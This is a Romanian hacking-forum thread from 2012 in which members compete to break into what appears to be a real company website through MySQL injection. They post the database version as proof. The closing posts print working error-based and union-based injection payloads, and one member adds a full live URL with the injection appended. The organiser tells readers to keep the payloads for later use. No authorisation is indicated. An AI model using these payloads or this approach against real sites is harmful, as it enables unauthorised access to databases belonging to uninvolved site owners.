[Easy/Medium]MySQL Injection Challenge

[Sheyken]

[+]Target: SIGMA

[+]Document: MySQL Injection

[+]Image:

Cerinte:

---------------------------

Sintaxa se trimite prin PM

Postarea unui ScreenShoot este obligatorie

Pentru rezolvarea acestui challenge este necesar sa postati versiunea bazei de date.

---------------------------

Solvers:

fallen_angel - Error based

DarkyAngel - Union Based

GraphLog - Error based

wHoIS - Union Based

Wubi - Union Based

caramea - Union Based

Sho0ter - ---

... Will be edited

Edited August 10, 2012 by Sheyken

[fallen_angel]

Î?i dau ?i sintaxa pe pm.

[Sheyken]

Felicitari, esti primul care a rezolvat acest challenge.

Next ?!

[DarkyAngel]

#pm sent

[KohCGI]

Sintaxa pe PM

Edited August 7, 2012 by KohCGI

[florin_darck]

Dupa ce Challenge-ul e solved ! Puteti posta sintaxa? Ca nu am reusit ..si sunt curios care e !

[GraphLog]

Am trimis deja sintaxa

[Sheyken]

Al 3 lea pm a fost trimis de catre: GraphLog

GraphLog, a fost adaugat la lista -> Solvers.

[wHoIS]

PM sent.

[Sheyken]

Felicitari wHoIS esti al 2 lea care a reusit sa rezolve acest challenge prin metoda Union Based.

Ai fost adaugat in lista de solvers.

Edited August 7, 2012 by Sheyken

[Wubi]

[Sheyken]

Ai fost trecut in lista.

"Nu uita, in BackTrack odata logat in userul Root nu mai folosi sudo apt-get update, foloseste apt-get update" pentru tine Wubi

[Wubi]

"Nu uita, in BackTrack odata logat in userul Root nu mai folosi sudo apt-get update, foloseste apt-get update" pentru tine Wubi

Muream prost nu alta...

[Sheyken]

Era doar o gluma, observa ca am pus ideea in ghilimele " ".

Next !?

[caramea]

[Sheyken]

Ultimul solver: caramea

Challengeu' se incheie:

Puteati sa il rezolvati in mai multe modalitati:

Error based.

Union based.

Syntax error based -> or 1 group by concat_ws(0x7e,version(),floor(rand(0)*2)) having min(0) or 1 --

Syntax Union based -> and 1=2 union select 1,2,3,4,5,6,7,8,9,10,version(),12,13 /*

Notativile intr-un New Text Document pentru ca veti avea nevoie de aceste Syntaxe pe viitor.

// Challenge inchis.

// 6 Solvers

Edited August 7, 2012 by Sheyken

[denjacker]

1. de ce ai inchis challenge-ul ( atat de repede )?

2.

http://www.sigmaspa.com/web/prod_detail.php?ID=216 and 1=2 union select 1,2,3,4,5,6,7,8,9,10,11,12,13`

[Sheyken]

Cred ca au fost destule rezolvari. Ma asteptam sa raspunzi si tu.

[Sho0ter]

Nice one.

Thanks for the challenge.

[Sheyken]

Good job Sho0ter.

[Net_Spy]

nice challenge dude check you pm.

Regards

Net_Spy